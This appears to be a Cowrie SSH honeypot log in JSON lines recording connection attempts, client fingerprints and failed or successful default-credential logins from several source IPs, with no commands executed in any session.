{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":54692,"dst_ip":"10.17.0.5","dst_port":22,"session":"df1bb92e543f","protocol":"ssh","message":"New connection: 186.233.184.67:54692 (10.17.0.5:22) [session: df1bb92e543f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.613041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.618142Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.658365Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:45:38:68:76:1b:c2:ea:67:e2:66:c8:ad:52:c7:df","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINy+EFYzsT74lJpUoU0RyUZ6GU3e0Pc3w+GxyDJEmlXo","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ee:45:38:68:76:1b:c2:ea:67:e2:66:c8:ad:52:c7:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.829437Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:45:38:68:76:1b:c2:ea:67:e2:66:c8:ad:52:c7:df","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINy+EFYzsT74lJpUoU0RyUZ6GU3e0Pc3w+GxyDJEmlXo","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.833106Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:88:76:a0:13:30:52:22:e4:df:27:ef:f0:c6:d2:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCynbDoygzYPDyyl1kbiJL8e5rI2Kx0sbz8QlkaSnnJc0dLSjsnDnPJ+W4wH1ZnCLJMXP5CiMyNV+/NvyFsEzYN5d0j336iOywCJg4hXRUeeiOI1vJ6QM1R6B3cOG7jU9+Yqf+ZjxKpSS68E0bEeFUojtnqCVghYfprUCKkpo6K5fDQfgaKMTwPz4bZnU1JDY/biWk9XLlSkesA552gT2Bsr0TR3/ipNyt5F8uPBvkeNzKHL6KpGlfg1PFYWTObo22VGFRwxeNjKLWmmsd1C/nEcn5pH7ncujkKIu7lLtlbtpo++qO2DmH8xZSYJxj3gaYrpkIe3uG8fH0HrHI/CHI3bs7f6wMYl5thD+NF8B9zL7e9IFV/9cNLJl+DX2Thi1gfLBcIiJWMGr1Rx5qCLGediUIbxsa/lHJO28wMbVyYvzDSgXYu2MqBSpCY7yFEv/MI07QCf44VTWWyEnL7OG7RcbQIEZGMYN3kgHiO8hRELzKay+UFM+JzHByQelODuBVsyV6L/NOK7hF9yueR6BRgUTJyF/h2uwdG0//+kShdnYi09RpLjIZzQTrg89s0aSUZJdBkaYYBlCwHSvNYY6DAv0vgL6zcFu2yeGuiu4PFa6bceycG9H1PZh0+JL0g4tX0S7k6O0wKkl5Yx/2gCB5mLbEpROcAvAxj4nsqfwMZuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:88:76:a0:13:30:52:22:e4:df:27:ef:f0:c6:d2:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.872187Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:88:76:a0:13:30:52:22:e4:df:27:ef:f0:c6:d2:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCynbDoygzYPDyyl1kbiJL8e5rI2Kx0sbz8QlkaSnnJc0dLSjsnDnPJ+W4wH1ZnCLJMXP5CiMyNV+/NvyFsEzYN5d0j336iOywCJg4hXRUeeiOI1vJ6QM1R6B3cOG7jU9+Yqf+ZjxKpSS68E0bEeFUojtnqCVghYfprUCKkpo6K5fDQfgaKMTwPz4bZnU1JDY/biWk9XLlSkesA552gT2Bsr0TR3/ipNyt5F8uPBvkeNzKHL6KpGlfg1PFYWTObo22VGFRwxeNjKLWmmsd1C/nEcn5pH7ncujkKIu7lLtlbtpo++qO2DmH8xZSYJxj3gaYrpkIe3uG8fH0HrHI/CHI3bs7f6wMYl5thD+NF8B9zL7e9IFV/9cNLJl+DX2Thi1gfLBcIiJWMGr1Rx5qCLGediUIbxsa/lHJO28wMbVyYvzDSgXYu2MqBSpCY7yFEv/MI07QCf44VTWWyEnL7OG7RcbQIEZGMYN3kgHiO8hRELzKay+UFM+JzHByQelODuBVsyV6L/NOK7hF9yueR6BRgUTJyF/h2uwdG0//+kShdnYi09RpLjIZzQTrg89s0aSUZJdBkaYYBlCwHSvNYY6DAv0vgL6zcFu2yeGuiu4PFa6bceycG9H1PZh0+JL0g4tX0S7k6O0wKkl5Yx/2gCB5mLbEpROcAvAxj4nsqfwMZuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.876471Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:f9:71:45:18:7c:4f:15:82:ca:af:c6:ea:7f:8d:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSw5Thi1wCAgex98cqJcolM2c6wuc3IGho+Lvfq0zlGGANS4PnoWDlmd8wU00t1rTCVxdZttxijwkNOCrDlS5XvGuWvvEY+KgIV3m78TaxnheIxzR25RKtbiWJ4z8sb1j2DlTENVXB/8eAso1imoxiGJi8rqEbPh66Evgq8RMtgk8AQMTo0DG81WC/02OKIj8O+1DQY7wCbIrKxVcPUeSOz3su0q2v4ypLBXGgNEBjHtJhy1W78JbF9c99iat7y8LPTW2dXLbGM8v2QbY0ePbCDaPdwhqZ/fCrVa3Z5i2RTlSMwTTCj6EFbywmSDyPNcXYy4/woD0T9+GVR4OZ6Zjh084IN9vax5L/0XpMZUi3brl89OxT+fg08pFas+WkD4zRDKvFnb7sFoKmWHf/2zeI454XGao1hGABtO67DKaWkueunB+nRBwRjxLai/vVLqZupyqUrKpVA3dRC8s2lCzvL53gv8/HT4nqZ0ixLoqD7g9VMvEj2oy6dSGzWoRppxfHztCLXZiGrCBP13GYb+esWEk6Ddl/0Krlcz2FQjOnQbOiRv5e0rE8U1UTeayruRVTOXhOJWrt9OtJQwRuHuXadlFMil251KKItPVEUcQj/ZCt3L1zpfLlS/W9UB8ier64jktIAr5ooCIG264QnrvP3CCEc6/VGkWBtMqSo5e/sQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:f9:71:45:18:7c:4f:15:82:ca:af:c6:ea:7f:8d:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.916747Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:f9:71:45:18:7c:4f:15:82:ca:af:c6:ea:7f:8d:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSw5Thi1wCAgex98cqJcolM2c6wuc3IGho+Lvfq0zlGGANS4PnoWDlmd8wU00t1rTCVxdZttxijwkNOCrDlS5XvGuWvvEY+KgIV3m78TaxnheIxzR25RKtbiWJ4z8sb1j2DlTENVXB/8eAso1imoxiGJi8rqEbPh66Evgq8RMtgk8AQMTo0DG81WC/02OKIj8O+1DQY7wCbIrKxVcPUeSOz3su0q2v4ypLBXGgNEBjHtJhy1W78JbF9c99iat7y8LPTW2dXLbGM8v2QbY0ePbCDaPdwhqZ/fCrVa3Z5i2RTlSMwTTCj6EFbywmSDyPNcXYy4/woD0T9+GVR4OZ6Zjh084IN9vax5L/0XpMZUi3brl89OxT+fg08pFas+WkD4zRDKvFnb7sFoKmWHf/2zeI454XGao1hGABtO67DKaWkueunB+nRBwRjxLai/vVLqZupyqUrKpVA3dRC8s2lCzvL53gv8/HT4nqZ0ixLoqD7g9VMvEj2oy6dSGzWoRppxfHztCLXZiGrCBP13GYb+esWEk6Ddl/0Krlcz2FQjOnQbOiRv5e0rE8U1UTeayruRVTOXhOJWrt9OtJQwRuHuXadlFMil251KKItPVEUcQj/ZCt3L1zpfLlS/W9UB8ier64jktIAr5ooCIG264QnrvP3CCEc6/VGkWBtMqSo5e/sQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.920518Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:10:0d:10:10:4c:84:62:20:fe:df:e3:53:f6:70:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ttHVYZhyTkjxKRLYQ+GVa0Vr/o1znY6FP44kEM43N0/znDHK2k3tGPgFfJm/8qKXM6ckpMbQRxwpU287dh1GB42Fbq+/5b7SwR04Icz72MWV2YukcDK9LIMp4jI/Wnxq3fX6aLi0C9J89mrF/C/U5d8qd/oT7+plVRHrE9763CCaUl2wERTB18pef62Lg+nvahDeZmZYg4DzU7I3+WRSF3RE0vFIuJto9Q+1IWLz5pDJORwd+Hve7ffweaTDHXKBxUxs8/KUQwwEJHspjUbd4p/5Sdj6IMpWoZc+ui0krpeXPDiCHpZkZrOPX5nxwASuJbo1C21xsKsUB8PgVYVf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:10:0d:10:10:4c:84:62:20:fe:df:e3:53:f6:70:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.959792Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:10:0d:10:10:4c:84:62:20:fe:df:e3:53:f6:70:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ttHVYZhyTkjxKRLYQ+GVa0Vr/o1znY6FP44kEM43N0/znDHK2k3tGPgFfJm/8qKXM6ckpMbQRxwpU287dh1GB42Fbq+/5b7SwR04Icz72MWV2YukcDK9LIMp4jI/Wnxq3fX6aLi0C9J89mrF/C/U5d8qd/oT7+plVRHrE9763CCaUl2wERTB18pef62Lg+nvahDeZmZYg4DzU7I3+WRSF3RE0vFIuJto9Q+1IWLz5pDJORwd+Hve7ffweaTDHXKBxUxs8/KUQwwEJHspjUbd4p/5Sdj6IMpWoZc+ui0krpeXPDiCHpZkZrOPX5nxwASuJbo1C21xsKsUB8PgVYVf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:00.967193Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:4a:00:6f:24:52:e4:59:d2:9d:e9:4b:68:0d:24:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHWqDXGaEoe+lBleyiIrlo11GU+P5cipT7PP/YH/SNwY/pTr+DEC3gOOkRzbvl9pblq3n1Amma9T+E1oECRVlqNEbp9S9ZZ0Hr8MHXNU5d1udRUE4UONRzxmHqaGmYyPhBjKVdvKf9dU2667fXCc+gO0rs0l6nBo2AnGEjWUPAS4J6i5fUNBylKY0Ga0JVCGRaZG8CHHx/dUtMtqmxE6ShS6avcFcFPHKMN3Eo/zFLZ/tSR/fuxwa4JKbmms+6xK9Bpn3XvEVpz3KMpAG33q5rz4MFttxEx/jstHtZsxIlZUYUC93rbTQmRTpk2PbEHca4qicaY8YMGznk5nJHrIuV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:4a:00:6f:24:52:e4:59:d2:9d:e9:4b:68:0d:24:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:01.007062Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:4a:00:6f:24:52:e4:59:d2:9d:e9:4b:68:0d:24:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHWqDXGaEoe+lBleyiIrlo11GU+P5cipT7PP/YH/SNwY/pTr+DEC3gOOkRzbvl9pblq3n1Amma9T+E1oECRVlqNEbp9S9ZZ0Hr8MHXNU5d1udRUE4UONRzxmHqaGmYyPhBjKVdvKf9dU2667fXCc+gO0rs0l6nBo2AnGEjWUPAS4J6i5fUNBylKY0Ga0JVCGRaZG8CHHx/dUtMtqmxE6ShS6avcFcFPHKMN3Eo/zFLZ/tSR/fuxwa4JKbmms+6xK9Bpn3XvEVpz3KMpAG33q5rz4MFttxEx/jstHtZsxIlZUYUC93rbTQmRTpk2PbEHca4qicaY8YMGznk5nJHrIuV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:01.011213Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:01.051084Z","src_ip":"186.233.184.67","session":"df1bb92e543f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.33","src_port":39654,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c9f906edac7","protocol":"ssh","message":"New connection: 94.26.106.33:39654 (159.203.135.109:22) [session: 6c9f906edac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:44.060480Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:47:44.065185Z","src_ip":"94.26.106.33","session":"6c9f906edac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.33","src_port":18924,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0ed0b7a05bb","protocol":"ssh","message":"New connection: 94.26.106.33:18924 (159.203.135.109:22) [session: a0ed0b7a05bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:06.857262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:06.862044Z","src_ip":"94.26.106.33","session":"a0ed0b7a05bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:06.955091Z","src_ip":"94.26.106.33","session":"a0ed0b7a05bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:07.142444Z","src_ip":"94.26.106.33","session":"a0ed0b7a05bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:08.239946Z","src_ip":"94.26.106.33","session":"a0ed0b7a05bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.249.134","src_port":47564,"dst_ip":"10.17.0.5","dst_port":22,"session":"24bcd5a70286","protocol":"ssh","message":"New connection: 34.53.249.134:47564 (10.17.0.5:22) [session: 24bcd5a70286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:09.859043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:09.942910Z","src_ip":"34.53.249.134","session":"24bcd5a70286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.249.134","src_port":47572,"dst_ip":"10.17.0.5","dst_port":22,"session":"608eacec25a7","protocol":"ssh","message":"New connection: 34.53.249.134:47572 (10.17.0.5:22) [session: 608eacec25a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:10.103388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:10.108870Z","src_ip":"34.53.249.134","session":"608eacec25a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:10.189687Z","src_ip":"34.53.249.134","session":"608eacec25a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:11.262290Z","src_ip":"34.53.249.134","session":"608eacec25a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:11.345001Z","src_ip":"34.53.249.134","session":"24bcd5a70286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:11.352028Z","src_ip":"34.53.249.134","session":"608eacec25a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.249.134","src_port":59076,"dst_ip":"10.17.0.5","dst_port":22,"session":"345ee995bfa2","protocol":"ssh","message":"New connection: 34.53.249.134:59076 (10.17.0.5:22) [session: 345ee995bfa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:12.495984Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:12.501369Z","src_ip":"34.53.249.134","session":"345ee995bfa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.53.249.134","src_port":59088,"dst_ip":"10.17.0.5","dst_port":22,"session":"3911dc9c420a","protocol":"ssh","message":"New connection: 34.53.249.134:59088 (10.17.0.5:22) [session: 3911dc9c420a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:14.336895Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:14.417256Z","src_ip":"34.53.249.134","session":"3911dc9c420a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:48:14.969958Z","src_ip":"34.53.249.134","session":"24bcd5a70286","protocol":"ssh"}
